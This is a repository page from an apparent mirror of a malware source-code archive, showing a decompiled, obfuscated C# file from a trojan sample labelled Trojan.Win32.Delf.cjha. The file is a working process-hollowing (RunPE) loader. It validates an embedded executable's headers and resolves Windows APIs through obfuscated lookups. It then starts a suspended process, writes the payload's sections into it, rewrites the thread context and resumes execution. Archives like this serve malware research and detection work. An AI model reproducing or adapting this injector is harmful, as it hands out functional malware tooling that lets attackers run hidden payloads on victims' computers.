ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2025-01-20 09:08:52 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
f2ac1ece55
MalwareSourceCode/MSIL/Trojan/Win32/D/Trojan.Win32.Delf.cjha-09fdf048be5ee692c4b7f67dcd746d321697af807f132f1e395c35c2bc7d244c/_0004/_0003.cs

310 lines
11 KiB
C#
Raw Normal View History

auto-decompiled msil via petikvx add
2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Explorer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=1133f7a8419a0062
// MVID: 9EBACA4B-5CC4-4E1D-BB8B-A34A1921D651
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Delf.cjha-09fdf048be5ee692c4b7f67dcd746d321697af807f132f1e395c35c2bc7d244c.exe
using \u0004;
using \u0005;
using System;
using System.Runtime.InteropServices;
namespace \u0004
{
internal class \u0003
{
public static void \u0003([In] byte[] obj0, [In] string obj1, [In] string obj2)
{
\u0003.\u0011 obj3 = new \u0003.\u0011();
\u0003.\u0014 obj4 = new \u0003.\u0014();
\u0003.\u0002 structure1 = new \u0003.\u0002();
\u0003.\u000F structure2 = new \u0003.\u000F();
\u0003.\u0004 obj5 = new \u0003.\u0004();
\u0003.\u0003 obj6 = new \u0003.\u0003();
structure2.\u0001 = (uint) Marshal.SizeOf((object) structure2);
obj6.\u0001 = 65543U;
GCHandle gcHandle = GCHandle.Alloc((object) obj0, GCHandleType.Pinned);
int int32 = gcHandle.AddrOfPinnedObject().ToInt32();
gcHandle.Free();
\u0003.\u0011 structure3 = (\u0003.\u0011) Marshal.PtrToStructure((IntPtr) int32, typeof (\u0003.\u0011));
\u0003.\u0014 structure4 = (\u0003.\u0014) Marshal.PtrToStructure((IntPtr) (int32 + structure3.\u0001), typeof (\u0003.\u0014));
if (structure4.\u0001 != 17744U || structure3.\u0001 != (ushort) 23117)
return;
\u0003.\u0018 forFunctionPointer1 = (\u0003.\u0018) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0003(\u0002.\u0003()), \u0002.\u000E()), typeof (\u0003.\u0018));
\u0003.\u0013 forFunctionPointer2 = (\u0003.\u0013) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0003(\u0002.\u000F()), \u0002.\u0010()), typeof (\u0003.\u0013));
\u0003.\u0012 forFunctionPointer3 = (\u0003.\u0012) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0003(\u0002.\u0003()), \u0002.\u0011()), typeof (\u0003.\u0012));
\u0003.\u0007 forFunctionPointer4 = (\u0003.\u0007) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0003(\u0002.\u0003()), \u0002.\u0012()), typeof (\u0003.\u0007));
\u0003.\u0010 forFunctionPointer5 = (\u0003.\u0010) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0003(\u0002.\u0003()), \u0002.\u0013()), typeof (\u0003.\u0010));
\u0003.\u0008 forFunctionPointer6 = (\u0003.\u0008) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0003(\u0002.\u0003()), \u0002.\u0014()), typeof (\u0003.\u0008));
\u0003.\u0016 forFunctionPointer7 = (\u0003.\u0016) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0003(\u0002.\u0003()), \u0002.\u0015()), typeof (\u0003.\u0016));
int num1 = forFunctionPointer1(obj2, obj1, IntPtr.Zero, IntPtr.Zero, false, \u0003.\u000E.\u000F, IntPtr.Zero, (string) null, ref structure2, ref obj5) ? 1 : 0;
int num2 = forFunctionPointer2(obj5.\u0001, (IntPtr) (long) structure4.\u0001.\u0007) ? 1 : 0;
int num3 = forFunctionPointer3(obj5.\u0001, (IntPtr) (long) structure4.\u0001.\u0007, structure4.\u0001.\u0010, \u0003.\u0006.\u0001 | \u0003.\u0006.\u0002, \u0003.\u0005.\u0003) ? 1 : 0;
int num4 = forFunctionPointer4(obj5.\u0001, (IntPtr) (long) structure4.\u0001.\u0007, obj0, structure4.\u0001.\u0011, (object) null) ? 1 : 0;
for (int index1 = 0; index1 < (int) structure4.\u0001.\u0002; ++index1)
{
structure1 = (\u0003.\u0002) Marshal.PtrToStructure((IntPtr) (int32 + structure3.\u0001 + Marshal.SizeOf((object) structure4) + Marshal.SizeOf((object) structure1) * index1), typeof (\u0003.\u0002));
byte[] numArray = new byte[(IntPtr) structure1.\u0003];
for (int index2 = 0; index2 < (int) structure1.\u0003; ++index2)
numArray[index2] = obj0[(long) structure1.\u0004 + (long) index2];
int num5 = forFunctionPointer4(obj5.\u0001, (IntPtr) (long) (structure4.\u0001.\u0007 + structure1.\u0002), numArray, structure1.\u0003, (object) null) ? 1 : 0;
}
int num6 = forFunctionPointer5(obj5.\u0002, ref obj6) ? 1 : 0;
byte[] bytes = BitConverter.GetBytes(structure4.\u0001.\u0007);
int num7 = forFunctionPointer4(obj5.\u0001, (IntPtr) (long) (obj6.\u0013 + 8U), bytes, (uint) bytes.Length, (object) null) ? 1 : 0;
obj6.\u0016 = structure4.\u0001.\u0007 + structure4.\u0001.\u0004;
int num8 = forFunctionPointer6(obj5.\u0002, ref obj6) ? 1 : 0;
int num9 = (int) forFunctionPointer7(obj5.\u0002);
}
private struct \u0001
{
public ushort \u0001;
public ushort \u0002;
public uint \u0001;
public uint \u0002;
public uint \u0003;
public ushort \u0003;
public ushort \u0004;
}
private struct \u0002
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public byte[] \u0001;
public uint \u0001;
public uint \u0002;
public uint \u0003;
public uint \u0004;
public uint \u0005;
public uint \u0006;
public ushort \u0001;
public ushort \u0002;
public uint \u0007;
}
private struct \u0003
{
public uint \u0001;
public uint \u0002;
public uint \u0003;
public uint \u0004;
public uint \u0005;
public uint \u0006;
public uint \u0007;
public \u0003.\u0017 \u0001;
public uint \u0008;
public uint \u000E;
public uint \u000F;
public uint \u0010;
public uint \u0011;
public uint \u0012;
public uint \u0013;
public uint \u0014;
public uint \u0015;
public uint \u0016;
public uint \u0017;
public uint \u0018;
public uint \u0019;
public uint \u001A;
public uint \u001B;
public uint \u001C;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)]
public byte[] \u0001;
}
private struct \u0004
{
public IntPtr \u0001;
public IntPtr \u0002;
public uint \u0001;
public uint \u0002;
}
private enum \u0005 : uint
{
\u0005 = 1,
\u0006 = 2,
\u0007 = 4,
\u0008 = 8,
\u0001 = 16, // 0x00000010
\u0002 = 32, // 0x00000020
\u0003 = 64, // 0x00000040
\u0004 = 128, // 0x00000080
\u000E = 256, // 0x00000100
\u000F = 512, // 0x00000200
\u0010 = 1024, // 0x00000400
}
private enum \u0006 : uint
{
\u0001 = 4096, // 0x00001000
\u0002 = 8192, // 0x00002000
\u0003 = 524288, // 0x00080000
\u0006 = 1048576, // 0x00100000
\u0007 = 2097152, // 0x00200000
\u0005 = 4194304, // 0x00400000
\u0004 = 536870912, // 0x20000000
}
private delegate bool \u0007([In] IntPtr obj0, [In] IntPtr obj1, [In] byte[] obj2, [In] uint obj3, [In] object obj4);
private delegate bool \u0008([In] IntPtr obj0, [In] ref \u0003.\u0003 obj1);
private enum \u000E : uint
{
\u0012 = 1,
\u0011 = 2,
\u000F = 4,
\u0013 = 8,
\u0003 = 16, // 0x00000010
\u0004 = 512, // 0x00000200
\u0010 = 1024, // 0x00000400
\u0008 = 2048, // 0x00000800
\u000E = 4096, // 0x00001000
\u0015 = 65536, // 0x00010000
\u0006 = 262144, // 0x00040000
\u0014 = 524288, // 0x00080000
\u0001 = 16777216, // 0x01000000
\u0007 = 33554432, // 0x02000000
\u0002 = 67108864, // 0x04000000
\u0005 = 134217728, // 0x08000000
}
private struct \u000F
{
public uint \u0001;
public string \u0001;
public string \u0002;
public string \u0003;
public uint \u0002;
public uint \u0003;
public uint \u0004;
public uint \u0005;
public uint \u0006;
public uint \u0007;
public uint \u0008;
public uint \u000E;
public short \u0001;
public short \u0002;
public IntPtr \u0001;
public IntPtr \u0002;
public IntPtr \u0003;
public IntPtr \u0004;
}
private delegate bool \u0010([In] IntPtr obj0, [In] ref \u0003.\u0003 obj1);
private struct \u0011
{
public ushort \u0001;
public ushort \u0002;
public ushort \u0003;
public ushort \u0004;
public ushort \u0005;
public ushort \u0006;
public ushort \u0007;
public ushort \u0008;
public ushort \u000E;
public ushort \u000F;
public ushort \u0010;
public ushort \u0011;
public ushort \u0012;
public ushort \u0013;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
public ushort[] \u0001;
public ushort \u0014;
public ushort \u0015;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
public ushort[] \u0002;
public int \u0001;
}
private delegate bool \u0012(
[In] IntPtr obj0,
[In] IntPtr obj1,
[In] uint obj2,
[In] \u0003.\u0006 obj3,
[In] \u0003.\u0005 obj4);
private delegate bool \u0013([In] IntPtr obj0, [In] IntPtr obj1);
private struct \u0014
{
public uint \u0001;
public \u0003.\u0001 \u0001;
public \u0003.\u0019 \u0001;
}
private struct \u0015
{
public uint \u0001;
public uint \u0002;
}
private delegate uint \u0016([In] IntPtr obj0);
private struct \u0017
{
public uint \u0001;
public uint \u0002;
public uint \u0003;
public uint \u0004;
public uint \u0005;
public uint \u0006;
public uint \u0007;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)]
public byte[] \u0001;
public uint \u0008;
}
private delegate bool \u0018(
[In] string obj0,
[In] string obj1,
[In] IntPtr obj2,
[In] IntPtr obj3,
[In] bool obj4,
[In] \u0003.\u000E obj5,
[In] IntPtr obj6,
[In] string obj7,
[In] ref \u0003.\u000F obj8,
[In] ref \u0003.\u0004 obj9);
private struct \u0019
{
public ushort \u0001;
public byte \u0001;
public byte \u0002;
public uint \u0001;
public uint \u0002;
public uint \u0003;
public uint \u0004;
public uint \u0005;
public uint \u0006;
public uint \u0007;
public uint \u0008;
public uint \u000E;
public ushort \u0002;
public ushort \u0003;
public ushort \u0004;
public ushort \u0005;
public ushort \u0006;
public ushort \u0007;
public uint \u000F;
public uint \u0010;
public uint \u0011;
public uint \u0012;
public ushort \u0008;
public ushort \u000E;
public uint \u0013;
public uint \u0014;
public uint \u0015;
public uint \u0016;
public uint \u0017;
public uint \u0018;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public \u0003.\u0015[] \u0001;
}
}
}
Reference in New Issue Copy Permalink